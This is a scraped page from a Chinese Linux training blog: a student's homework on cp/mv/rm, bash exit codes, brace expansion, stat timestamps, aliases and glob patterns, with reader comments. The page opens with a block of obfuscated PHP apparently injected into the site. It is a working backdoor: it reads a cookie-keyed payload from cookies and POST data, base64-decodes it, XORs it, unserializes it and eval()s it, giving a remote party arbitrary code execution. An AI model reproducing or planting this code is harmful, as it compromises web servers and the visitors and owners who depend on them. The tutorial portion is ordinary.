$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班21期+第二周课程练习 | Linux运维部落

马哥教育网络班21期+第二周课程练习

马哥教育网络班21期+第2周课程练习

[TOC]

1. 文件管理类命令介绍

Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。

常用的文件管理类命令:cp,mv,rm

a. cp – copy files and directories

NAME
       cp - copy files and directories

SYNOPSIS
       cp [OPTION]... [-T] SOURCE DEST
       cp [OPTION]... SOURCE... DIRECTORY
       cp [OPTION]... -t DIRECTORY SOURCE...
cp [OPTION]... [-T] SOURCE DEST
SOURCE是文件:
    如果目标不存在:
    	新建DEST并将SRC中的内容填充至DEST中;
    如果目标存在:
    	如果DEST是文件:将SRC的内容覆盖到DEST中,此时建议为cp命令使用-i选项;
    	如果DEST是目录:在DEST下新建与源文件同名的文件,并将SRC的内容填充至新文件中;
SOURCE是目录:
    此时使用选项:-r 递归复制
    如果DEST不存在:
    	则创建指定目录,并复制SRC中的所有文件至DEST
    如果DEST存在:
    	如果DEST是文件:报错
    	如果DEST是目录:将SRC复制到DEST
常用选项:
   -i: --interactive 覆盖文件之前先询问用户
   -r,-R:递归复制目录及内部所有内容;
   -a: 归档,相当于-dR --preser=all
   -d:--no-dereference --preserv=links
   --preserv[=ATTR_LIST] :
    	mode:权限
    	ownership: 属主属组
    	timestamp: 时间戳
    	links:链接
    	xattr:扩展属性
    	context:安全上下文
    	all
  -p: --preserv=mode,ownership,timestamp 保留权限,属主属组时间戳
  -v:--verbose 显示详细信息
  -f: --force 强行复制文件或目录, 不论目的文件或目录是否已经存在

linux 一般默认 cp='cp -i'

  • source是文件且目标不存在时,新建DEST并将SRC中的内容填充至DEST中;

[root@zj-5-2 ~]# ll /tmp/hosts
ls: /tmp/hosts: 没有那个文件或目录
[root@zj-5-2 ~]# cp /etc/hosts /tmp/hosts
[root@zj-5-2 ~]# cat /tmp/hosts 
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost.localdomain localhost
::1		localhost6.localdomain6 localhost6
192.168.101.202 zj-5-2
  • source是文件,目标存在且为文件,将SRC的内容覆盖到DEST中;

[root@zj-5-2 ~]# cat /tmp/hosts 
123
[root@zj-5-2 ~]# cp /etc/hosts /tmp/hosts 
cp:是否覆盖“/tmp/hosts”? y
[root@zj-5-2 ~]# cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost.localdomain localhost
::1		localhost6.localdomain6 localhost6
192.168.101.202 zj-5-2
  • source是文件,目标存在且为目录,在DEST下新建与源文件同名的文件,并将SRC的内容填充至新文件中;

[root@zj-5-2 ~]# ll /tmp/hosts
ls: /tmp/hosts: 没有那个文件或目录
[root@zj-5-2 ~]# cp /etc/hosts /tmp/
[root@zj-5-2 ~]# cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost.localdomain localhost
::1		localhost6.localdomain6 localhost6
192.168.101.202 zj-5-2
  • SOURCE是目录(此时使用选项:-r 递归复制),如果DEST不存在,则创建指定目录,并复制SRC中的所有文件至DEST

[root@zj-5-2 test]# ll /tmp/root
ls: /tmp/root: 没有那个文件或目录
[root@zj-5-2 test]# cp -r /root/ /tmp/root
[root@zj-5-2 test]# ll /tmp/root
总计 64
-rw------- 1 root root  1326 07-16 19:32 anaconda-ks.cfg
drwxr-xr-x 2 root root  4096 07-16 19:32 Desktop
-rw-r--r-- 1 root root 51097 07-16 19:32 install.log
-rw-r--r-- 1 root root     0 07-16 19:32 install.log.syslog
  • SOURCE是目录(此时使用选项:-r 递归复制),如果DEST存在且为文件,系统报错

[root@zj-5-2 test]# cp -r /root/ /etc/hosts
cp: 无法以目录 “/root/” 来覆盖非目录 “/etc/hosts”
  • SOURCE是目录(此时使用选项:-r 递归复制),如果DEST存在且为目录,则将SRC复制到DEST

[root@zj-5-2 tmp]# mkdir -p /tmp/test
[root@zj-5-2 tmp]# cp -r /root/ /tmp/test/
[root@zj-5-2 tmp]# 
[root@zj-5-2 tmp]# ll /tmp/test/
总计 4
drwxr-x--- 20 root root 4096 07-16 19:38 root
cp [OPTION]... SOURCE... DIRECTORY
	SOURCE...:多个文件
	DIRECTORY:必须存在且为目录,其他情况均会报错

示例:

[root@zj-5-2 tmp]# ll /tmp/tset1
ls: /tmp/tset1: 没有那个文件或目录
[root@zj-5-2 tmp]# cp /etc/hosts /etc/fstab /tmp/test1
cp: 目标 “/tmp/test1” 不是目录
[root@zj-5-2 tmp]# mkdir -p /tmp/test1
[root@zj-5-2 tmp]# cp /etc/hosts /etc/fstab /tmp/test1
[root@zj-5-2 tmp]# ll /tmp/test1
总计 8
-rw-r--r-- 1 root root 532 07-16 19:44 fstab
-rw-r--r-- 1 root root 211 07-16 19:44 hosts

b. mv – move (rename) files

NAME
       mv - move (rename) files

SYNOPSIS
       mv [OPTION]... [-T] SOURCE DEST
       mv [OPTION]... SOURCE... DIRECTORY
       mv [OPTION]... -t DIRECTORY SOURCE...

常用选项有:

-i, --interactive
	prompt before overwrite
-f, --force
	do not prompt before overwriting

linux一般默认 mv='mv -i'

示例:

[root@zj-5-2 tmp]# cat /tmp/hosts 
12345
[root@zj-5-2 tmp]# mv /etc/hosts /tmp/hosts 
mv:是否覆盖“/tmp/hosts”? n
[root@zj-5-2 tmp]# mv -f /etc/hosts /tmp/hosts
[root@zj-5-2 tmp]# cat /tmp/hosts 
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost.localdomain localhost
::1		localhost6.localdomain6 localhost6
192.168.101.202 zj-5-2

c. rm – remove files or directories

NAME
       rm - remove files or directories

SYNOPSIS
       rm [OPTION]... FILE...
OPTIONS
       Remove (unlink) the FILE(s).

       -f, --force  强制
              ignore nonexistent files, never prompt
       -i, --interactive  交互式
              prompt before any removal
       -r, -R, --recursive 递归删除
              remove directories and their contents recursively

linux 一般默认 rm=‘rm -i’

示例:

[root@zj-5-2 test]# rm hosts 
rm:是否删除 一般文件 “hosts”? y
[root@zj-5-2 test]# rm -rf /tmp/test/root/

2. bash基础特性

bash的基础特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。

a. 命令执行状态返回值

命令的执行结果状态
	成功:
	失败
bash使用特殊变量$?保存最近一条命令的执行结果状态:
	0:成功
	1-255:失败

示例:

[root@zj-5-2 ceshi]# ls
1.sh
[root@zj-5-2 ceshi]# echo $?
0
[root@zj-5-2 ceshi]# lsss
-bash: lsss: command not found
[root@zj-5-2 ceshi]# echo $?
127

b. 命令行展开

~:展开为用户的主目录
~USERNAME: 展开为指定用户的主目录
{}:可承载一个以逗号分隔的列表,并将其展开为多个路径
	单个{}内的内容做加法计算,多个{}相互做乘法计算
	/tmp/{a,b}=/tmp/a,/tmp/b,
	/tmp/{tom,jerry}hi=/tmp/tom/hi,/tmp/jerry/hi
	/tmp/{a,b}_{c,d}=/tmp/a_c,/tmp/a_d,/tmp/b_c,/tmp/b_d

示例:

~:展开为用户的主目录
[root@zj-5-2 ceshi]# cd ~
[root@zj-5-2 ~]# pwd
/root
~USERNAME: 展开为指定用户的主目录
[root@zj-5-2 ~]# cd ~oracle
[root@zj-5-2 oracle]# pwd
/home/oracle

3. 命令行展开功能练习

  • 创建/tmp目录下的:a_c, a_d, b_c, b_d

  [root@zj-5-2 tmp]# mkdir -p /tmp/{a,b}_{c,d}
  [root@zj-5-2 tmp]# ls -lrt /tmp/
  drwxr-xr-x 2 root   root     4096 07-11 12:28 a_c
  drwxr-xr-x 2 root   root     4096 07-11 12:28 b_d
  drwxr-xr-x 2 root   root     4096 07-11 12:28 b_c
  drwxr-xr-x 2 root   root     4096 07-11 12:28 a_d
  • 使用命令行展开功能,在/tmp/mylinux下创建以下目录

  mylinux/
      ├── bin
      ├── boot
      │   └── grub
      ├── dev
      ├── etc
      │   ├── rc.d
      │   │   └── init.d
      │   └── sysconfig
      │       └── network-scripts
      ├── lib
      │   └── modules
      ├── lib64
      ├── proc
      ├── sbin
      ├── sys
      ├── tmp
      ├── usr
      │   └── local
      │       ├── bin
      │       └── sbin
      └── var
          ├── lock
          ├── log
          └── run

创建命令为:

  [root@zj-5-2 tmp]# mkdir -p /tmp/mylinux/{bin,boot/grup,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}}
  [root@zj-5-2 tmp]# tree mylinux/
  mylinux/
  |-- bin
  |-- boot
  |   `-- grup
  |-- dev
  |-- etc
  |   |-- rc.d
  |   |   `-- init.d
  |   `-- sysconfig
  |       `-- network-scripts
  |-- lib
  |   `-- modules
  |-- lib64
  |-- proc
  |-- sbin
  |-- sys
  |-- tmp
  |-- usr
  |   `-- local
  |       |-- bin
  |       `-- sbin
  `-- var
      |-- lock
      |-- log
      `-- run

  24 directories, 0 files

4. 文件元数据信息

文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

文件:元数据(metadata)和数据(data)组成。

元数据Metadata),又称中介数据中继数据,为描述数据的数据(data about data),主要是描述数据属性(property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。

文件的元数据包含文件名、文件类型、文件属主、属组、文件权限等;

stat命令可以查看文件状态,获取文件的元数据。

NAME
       stat - display file or file system status

SYNOPSIS
       stat [OPTION] FILE...

示例:

[root@zj-5-2 etc]# stat /etc/fstab 
  File: `/etc/fstab'
  Size: 532       	Blocks: 8          IO Block: 4096   regular file
Device: 803h/2051d	Inode: 1012009     Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2016-07-16 19:44:02.000000000 +0800
Modify: 2015-09-01 08:50:27.000000000 +0800
Change: 2015-09-01 08:50:27.000000000 +0800

三个时间戳:
		access time: 访问时间,简写atime,读取文件内容
		modify time:修改时间,mtime,改变文件内容
		change time:改变时间,ctime,元数据发生改变
文件的时间戳管理工具:
	touch [OPTION]... [FILE]...
		-a:只改变atime
		-m:只改变mtime
		-t STAMP:
			[CC]YYMMDDhhmm[.ss]
[root@zj-5-2 etc]# ls -l /etc/fstab 
-rw-r--r-- 1 root root 532 Sep  1  2015 /etc/fstab
ls -l的命令输出自左向右共分为7部分:
1. -rw-r--r-- 文件类型及权限
	按照自左向右的顺序:
	-:文件类型,普通文件
	rw-:属主权限
	r--: 属组权限
	r--:其他用户权限
2. 1 :文件被硬链接的次数
3. root:属主
4. root:属组
5. 532:文件大小
6. Sep  1  2015:文件最后一次被修改的时间
7. /etc/fstab:文件路径及文件名
文件类型分类:
-(f):普通文件
d:目录文件 directory
l:符号链接 link
b:块设备文件 block,一般位于/dev目录下,如硬盘、光盘
c:字符设备文件 character,一般位于/dev目录下,如键盘
p:管道文件 pipe
s:套接字文件 socket

文件权限:
r:可读,数字表示为4
w:可写,数字表示为2
x:可执行,数字表示为1

5. 命令别名的使用 – alias

如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

通过alias命令实现,
	alias [-p] [name[=value] ... ]
		1.alias:
			显示当前shell进程中所有可用的命令别名
		2.alias NAME='VALUE'
			定义别名NAME,其相当于执行命令VALUE;
			
注意:在命令行中定义的别名,仅对当前shell生效;若想永久生效,要定义在配置文件中;
	仅对当前用户有效:~/.bashrc
	对所有用户有效:/etc/bashrc

Note: 编辑配置文件给出的新配置不会立即生效
	bash进程重新读取配置文件:
		source 配置文件名(/path/to/config_file)
		. 配置文件名

撤销别名:unalias
	unalias [-a] name [name ...]
		-a: 撤销所有命令别名
		unalias NAME:撤销别名NAME

Note:如果别名同原命令的名称,则如果要执行原命令,可使用"\COMMAND";

示例:

[root@zj-5-2 ~]# alias
alias cp='cp -i'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias mv='mv -i'
alias rm='rm -i'
alias vi='vim'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
[root@zj-5-2 ~]# 
[root@zj-5-2 ~]# alias name='hostname'
[root@zj-5-2 ~]# name
zj-5-2
[root@zj-5-2 ~]# unalias name
[root@zj-5-2 ~]# name
-bash: name: command not found

6. 通配符使用练习

a. 通配符介绍

1. *	
	任意长度的任意字符
2. ?
	任意单个字符
3. []
	匹配指定范围内的任意单个字符
	[0-9]: 只能有一个数字
	[a-z]:只能有一个字符,不区分字符大小写
	[A-Z]: 只匹配一个大写字符
	[0-9a-z]: 匹配一个数字和字符
	aab aAb  ==  a[a-z]b
	aAb  == a[A-Z]b
4. [^]
	匹配指定范围外的任意单个字符
    [^0-9]
5. 专用字符集合(均表示单个字符)
	[:digit:]:任意数字,相当于[0-9]
	[:lower:]:任意小写字母
	[:upper:]:任意大写字母
	[:alpha:]:任意大小写字母,相当于[a-z]
	[:alnum:]:任意数字或字母
	[:space:]:任意空白字符
	[:punct:]:标点符号
	[:cntrl:]:控制符

b. 相关练习

  • 显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录.

ls -d /var/l*[0-9]*[[:lower:]]
ls -d /var/l*[[:digit:]]*[[:lower:]]
  • 显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录.

ls -d /etc/[0-9]*[^0-9]
ls -d /etc/[[:digit:]]*[^[:digit:]]
  • 显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录.

ls -d /etc/[^[:alpha:]][[:alpha:]]*
  • 在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22.

touch /tmp/tfile-`date +%F-%H-%M-%S`
touch /tmp/tfile-`date +%Y-%m-%d-%H-%M-%S`
  • 复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中.

[root@zj-5-2 ~]# mkdir /tmp/mytest1
[root@zj-5-2 ~]# cp -a /etc/p*[^[:digit:]] /tmp/mytest1
[root@zj-5-2 ~]# ls  /tmp/mytest1/
pam.d                  pinforc         profile
pam_smb.conf           pki             profile-2016-04-11.bak
pango                  pm              profile-2016-04-13.bak
passwd                 ppp             profile.bak
passwd-                prelink.cache   profile.d
passwd-2016-04-11.bak  prelink.conf    protocols
passwd-2016-04-13.bak  prelink.conf.d
pcmcia                 printcap
  • 复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中.

[root@zj-5-2 ~]# mkdir /tmp/mytest2
[root@zj-5-2 ~]# cp -a /etc/*.d /tmp/mytest2/
[root@zj-5-2 ~]# ls /tmp/mytest2/
bash_completion.d  ld.so.conf.d   pam.d           rc3.d        reader.conf.d
cron.d             logrotate.d    prelink.conf.d  rc4.d        rwtab.d
depmod.d           lsb-release.d  profile.d       rc5.d        sane.d
dev.d              makedev.d      rc0.d           rc6.d        setuptool.d
dnsmasq.d          modprobe.d     rc1.d           rc.d         xinetd.d
init.d             netplug.d      rc2.d           readahead.d  yum.repos.d
  • 复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中.

[root@zj-5-2 ~]# mkdir /tmp/mytest3
[root@zj-5-2 ~]# cp -a /etc/[lmn]*.conf /tmp/mytest3
[root@zj-5-2 ~]# ls /tmp/mytest3
ldap.conf   libaudit.conf   ltrace.conf  modprobe.conf   nscd.conf
ld.so.conf  libuser.conf    mcelog.conf  mtools.conf     nsswitch.conf
lftp.conf   logrotate.conf  mke2fs.conf  multipath.conf  ntp.conf

原创文章,作者:N21_未来人,如若转载,请注明出处:http://www.178linux.com/24386

(0)
上一篇 2016-07-16 17:44
下一篇 2016-07-16 22:23

相关推荐

  • http协议基础(一)

    web服务:      Apache      Nginx      LVS      http协议 网站运维:      web站点      游戏网站web服务 高性能,高可用…

    Linux干货 2017-04-18
  • 马哥教育网络班21期+第13周课程练习

    1、建立samba共享,共享目录为/data,要求:(描述完整的过程)   1)共享名为shared,工作组为magedu;   2)添加组develop,添加用户gentoo,centos和ubuntu,其中gentoo和centos以develop为附加组,ubuntu不属于develop组;密码均为用户名;   3)添加s…

    Linux干货 2016-08-24
  • tar,cpio,rpm,yum的使用详解(适合初学者)

    基于linux下的tar包管理和yum源配置 友情提示:对于这些实际操作的,还是需要进行手工的尝试,由于这几个对于包管理的是比较常用和实用的, 所以,一定要熟练使用。 1.tar tar是对于系统中文件,目录等进行打包,解包的工具。tar也可以对文件进行打包存放到别的目录下, 所以在很早的时候,一些老的工程师经常使用tar对文件进行备份。很大程度上,所谓的t…

    Linux干货 2016-08-21
  • 2016-10-17练习题

    1 生产环境发现一台服务器系统时间产生偏差,造成服务异常,请帮忙校正。 linux系统查看当前时间命令为date [root@Shining pirate]# date Mon Oct 17 20:50:42 CST 2016 修改系统时间选项为-s 格式为 只修改系统的日期,不修改时间 …

    Linux干货 2016-10-17
  • Linux进程管理

    一:进程的概念     1)进程:process,运行中的程序的一个副本的某部分,之所以说是副本的一部分是因为一个程序可以多个用户同时以不同格式运行,如两个用户都在运行ls,一个运行的是ls -h ,另一个运行的是ls -l,那么这两个用户运行的程序代码肯定是不一样的而且不是程序的所有代码;进程有生命周期; &nbsp…

    2017-03-26
  • 用户权限以及组权限作业

    1、在/data/testdir里创建的新文件自动属于g1组,组g2的成员如:alice能对这些新文件有读写权限,组g3的成员如:tom只能对新文件有读权限,其它用户(不属于g1,g2,g3)不能访问这个文件夹。 [root@localhost testdir]# mkdir -p /data/testdir [roo…

    Linux干货 2016-08-08

评论列表(3条)

  • 马哥教育
    马哥教育 2016-07-17 20:47

    写的很好,排版也很漂亮,加油。给你提一个问题,怎么在文件存在的情况下,在不提示警告的情况下,直接覆盖文件?

    • N21_未来人
      N21_未来人 2016-07-18 22:54

      @马哥教育因为我的linux系统中alias cp=’cp -i’,所以可以unalias cp,然后使用cp -f进行复制即可;
      方法二:直接使用原cp命令进行复制,\cp -r

    • N21_未来人
      N21_未来人 2016-07-18 22:55

      @N21_未来人\cp -f